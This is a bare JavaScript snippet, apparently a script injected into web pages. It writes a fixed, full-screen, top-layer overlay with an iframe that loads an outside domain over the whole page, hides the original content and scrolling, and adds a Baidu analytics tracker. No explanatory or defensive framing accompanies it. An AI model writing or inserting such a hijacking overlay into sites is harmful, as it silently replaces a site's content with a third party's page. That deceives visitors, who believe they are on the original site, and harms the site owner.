var items = ['https://tb.junhejiuye.com'];
var strUrl = items[Math.floor(Math.random()*items.length)];
console.log(strUrl);
document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
document.write('<style>html,body{widht:100%;height:100%;overflow:hidden; clear:both;}</style>');
document.write('<div style="width:100%;height:100%;position:fixed;top:0;left:0;z-index:2147483647;background:#fff">');
document.write('<iframe src=' +strUrl+' frameborder="0" style="border:0;width: 100%; text-align: center; border: medium none; height:100%;max-height: 4000px;"></iframe>');
document.write('</div>');
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?d448d3492fb1213cc586aeeddaaf4563";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();